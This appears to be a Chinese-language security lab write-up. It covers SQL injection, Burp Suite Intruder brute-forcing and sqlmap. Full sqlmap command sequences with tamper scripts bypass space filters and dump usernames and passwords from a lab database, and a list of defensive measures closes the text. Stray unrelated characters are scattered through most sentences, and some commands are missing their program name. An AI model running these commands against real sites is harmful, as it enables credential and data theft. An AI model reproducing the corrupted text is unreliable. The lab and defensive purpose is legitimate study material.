SQL注入漏洞概述:所謂SQL注入般渡,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令具钥。SQL注入攻擊是黑客對數(shù)據(jù)庫進(jìn)行攻擊的常用手段之一豆村。隨著B/S模式應(yīng)用開發(fā)的發(fā)展,使用這種模式編寫應(yīng)用程序的程序員也越來越多骂删。但是由于程序員的水平及經(jīng)驗(yàn)也參差不齊掌动,相當(dāng)大一部分程序員在編寫代碼的時(shí)候,沒有對用戶輸入數(shù)據(jù)的合法性進(jìn)行判斷宁玫,使應(yīng)用程序存在安全隱患粗恢。用戶可以提交一段數(shù)據(jù)庫查詢代碼,根據(jù)程序返回的結(jié)果欧瘪,獲得某些他想得知的數(shù)據(jù)眷射,這就是所謂的SQL Injection,即SQL注入。
Burpsuite妖碉。Burp Suite 是用于攻擊web 應(yīng)用程序的集成平臺(tái)涌庭,包含了許多工具。Burp Suite為這些工具設(shè)計(jì)了許多接口欧宜,以加快攻擊應(yīng)用程序的過程坐榆。所有工具都共享一個(gè)請求,并能處理對應(yīng)的HTTP 消息冗茸、持久性席镀、認(rèn)證、代理蚀狰、日志愉昆、警報(bào)。
Sqlmap麻蹋。Sqlmap是一種開源的滲透測試工具跛溉,可以自動(dòng)檢測和利用SQL注入漏洞以及接入該數(shù)據(jù)庫的服務(wù)器。它擁有非常強(qiáng)大的檢測引擎扮授、具有多種特性的滲透測試器芳室、通過數(shù)據(jù)庫指紋提取訪問底層文件系統(tǒng)并通過外帶連接執(zhí)行命令。
web暴力破解實(shí)現(xiàn)過程:
1刹勃、首先對選定頁面進(jìn)行登錄堪侯,然后將burpsuite攔截到的數(shù)據(jù)發(fā)送到Intrder模塊
2、選擇爆破模式荔仁,burpsuite有四種模式伍宦。Sniper 單參數(shù)爆破,多參數(shù)時(shí)同一個(gè)字典按順序替換各參數(shù)乏梁,總之初始值有一個(gè)參數(shù)不變次洼;Battering ram 多參數(shù)同時(shí)爆破,但用的是同一個(gè)字典遇骑;Pichfork 多參數(shù)同時(shí)爆破卖毁,但用的是不同的字典;Cluster bamb 多參數(shù)做笛卡爾乘積模式爆破落萎。
3亥啦、選定爆破模式后,設(shè)定參數(shù)變量练链,選中要設(shè)置為爆破參數(shù)的變量翔脱,然后點(diǎn)擊add。?
4媒鼓、然后點(diǎn)擊payloads碍侦,分別設(shè)置每個(gè)參數(shù)的攻擊載荷粱坤。
5、點(diǎn)擊start?attack瓷产,開始爆破站玄,爆破成功的數(shù)據(jù)包會(huì)比錯(cuò)誤的數(shù)據(jù)包的length要長。
Sql注入實(shí)現(xiàn)過程濒旦。
一:example1注入
example1沒有開啟任何防護(hù)株旷,使用sqlmap直接注入就行。
1尔邓、sqlmap -u "192.168.78.131/sqli/example1.php?name=root" --dbs 報(bào)數(shù)據(jù)庫
2晾剖、sqlmap -u "192.168.78.131/sqli/example1.php?name=root" -D exercises --tables 爆表
3、-u "192.168.78.131/sqli/example1.php?name=root" -D exercises -T users --columns 爆字段
4梯嗽、-u "192.168.78.131/sqli/example1.php?name=root" -D exercises -T users -C name,passwd --dump 爆出相應(yīng)字段的值齿尽。
二:example2注入
手工注入試了一下,錯(cuò)誤提示灯节,NO ERROR SPACE循头,應(yīng)該是對空格進(jìn)行了過濾,使用space2morehash.py腳本繞過網(wǎng)站的過濾炎疆,進(jìn)行注入卡骂。
1、sqlmap -u "192.168.78.131/sqli/example2.php?name=root" -v 3 --dbs --batch --tamper "space2morehash.py" 爆數(shù)據(jù)庫
2形入、sqlmap -u "192.168.78.131/sqli/example2.php?name=root" -v 3 -D exercises --tables --batch --tamper "space2morehash.py" 爆數(shù)據(jù)表
3全跨、sqlmap -u "192.168.78.131/sqli/example2.php?name=root" -v 3 -D exercises -T users --columns --batch --tamper "space2morehash.py" 爆字段名
4、sqlmap -u "192.168.78.131/sqli/example2.php?name=root" -v 3 -D exercises -T users -C name,passwd --dump --batch --tamper "space2morehash.py" 爆相應(yīng)字段的值
三:example3注入
Space2morehash的腳本不能繞過過濾亿遂,試了試確定過濾參數(shù)浓若,發(fā)現(xiàn)輸入+號時(shí),錯(cuò)誤提示也是NO ERROR SAPCE蛇数,想到應(yīng)該是把space2plus腳本的替換結(jié)果也當(dāng)做了空格過濾七嫌,就嘗試了其他替換空格的腳本,發(fā)現(xiàn)space2comment腳本可以繞過過濾苞慢,就采用這個(gè)腳本進(jìn)行注入。
1英妓、sqlmap -u "192.168.78.131/sqli/example3.php?name=root" --dbs --batch -v 3 --tamper "space2comment.py" 爆庫
2挽放、sqlmap -u "192.168.78.131/sqli/example3.php?name=root" -D exercises --tables --batch -v 3 --tamper "space2comment.py" 爆數(shù)據(jù)表
3、sqlmap -u "192.168.78.131/sqli/example3.php?name=root" -D exercises -T users --columns --batch -v 3 --tamper "space2comment.py" 爆字段名
4蔓纠、sqlmap -u "192.168.78.131/sqli/example3.php?name=root" -D exercises -T users -C name,passwd --dump --batch -v 3 --tamper "space2comment.py" 爆字段值辑畦。
SQL注入漏洞防護(hù)措施
1、開發(fā)過程中腿倚,注意安全細(xì)節(jié)纯出,如盡量使用PrepareStatement代替Statement,數(shù)據(jù)庫訪問權(quán)限不要使用SA用戶,不要將異常拋出在客戶端頁面暂筝,安裝網(wǎng)站的時(shí)候刪除bak文件避免文件資料泄露
2箩言、采用waf安全機(jī)制,過濾掉焕襟;空格一類的sql注入常用字符及相應(yīng)腳本的轉(zhuǎn)換結(jié)果
3陨收、對用戶信息在數(shù)據(jù)庫中進(jìn)行加密
4、網(wǎng)站管理員定期更換密碼鸵赖,隨時(shí)關(guān)注網(wǎng)站安全情況务漩,發(fā)現(xiàn)可疑情況,立即采取響應(yīng)措施
5它褪、限制表單數(shù)據(jù)輸入和查詢字符串輸入的長度
6饵骨、設(shè)置web目錄訪問權(quán)限
7、Web服務(wù)器以最小權(quán)限進(jìn)行配置茫打,只提供web服務(wù)
8居触、用戶權(quán)限分離,不同的用戶只能對授權(quán)給自己的數(shù)據(jù)庫執(zhí)行數(shù)據(jù)庫操作